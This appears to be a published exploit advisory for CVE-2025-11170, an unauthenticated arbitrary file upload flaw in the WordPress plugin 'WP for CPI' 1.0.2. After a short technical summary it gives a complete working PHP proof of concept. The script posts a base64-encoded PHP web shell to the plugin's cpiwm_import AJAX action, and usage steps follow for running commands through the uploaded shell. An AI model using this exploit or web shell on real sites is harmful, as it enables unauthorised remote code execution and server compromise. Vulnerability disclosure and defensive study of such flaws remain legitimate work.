| # Title : WP for CPI 1.0.2 Unauthenticated Arbitrary File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://discover.commoninja.com/wordpress/plugin/cpi-wp-migration |
=============================================================================================================================================
[+] Summary :
The WordPress plugin "WP for CPI" versions <= 1.0.2 suffer from an
unauthenticated arbitrary file upload vulnerability via the "cpiwm_import"
AJAX action. An attacker can upload arbitrary PHP files and achieve
remote code execution.
The vulnerable endpoint requires no authentication, nonce, or capability
checks.
Affected endpoint:
/wp-admin/admin-ajax.php?action=cpiwm_import
2. Fake Python PoC Notice
-------------------------
[+] References : https://packetstorm.news/files/id/211558/ CVE-2025-11170
A previously circulating Python PoC was analyzed and confirmed to be
non-functional, incorrect, and not aligned with the pluginβs real
behavior. The script was determined to be fake and technically invalid.
A corrected analysis and working PoC are provided below.
3. Technical Details
--------------------
The plugin exposes the action parameter:
action=cpiwm_import
The server accepts the following POST parameters:
filename - the resulting file name on disk
data - base64 encoded file contents
index - import index (not validated)
Uploaded files are saved to:
/wp-content/plugins/cpi-wp-migration/storage/{filename}
A successful upload returns the response:
0
4. Working PoC (PHP)
---------------------
<?php
/*
Corrected PoC for CVE-2025-11170
By Indoushka
*/
$target = "http://target.com"; // no trailing slash
$ajax = $target . "/wp-admin/admin-ajax.php";
$filename = "indoushka.php";
$payload = "<?php system(\$_GET['cmd']); ?>";
$data_b64 = base64_encode($payload);
$post = [
"action" => "cpiwm_import",
"filename" => $filename,
"data" => $data_b64,
"index" => "0"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Server Response: $response\n";
if(trim($response) === "0"){
echo "[+] Upload Successful!\n";
echo "Shell Path:\n";
echo $target . "/wp-content/plugins/cpi-wp-migration/storage/" . $filename . "\n";
} else {
echo "[!] Upload failed.\n";
}
?>
5. Usage Instructions
----------------------
Save the file:
poc.php
Run:
php poc.php
Access your shell:
http://target.com/wp-content/plugins/cpi-wp-migration/storage/indoushka.php?cmd=id
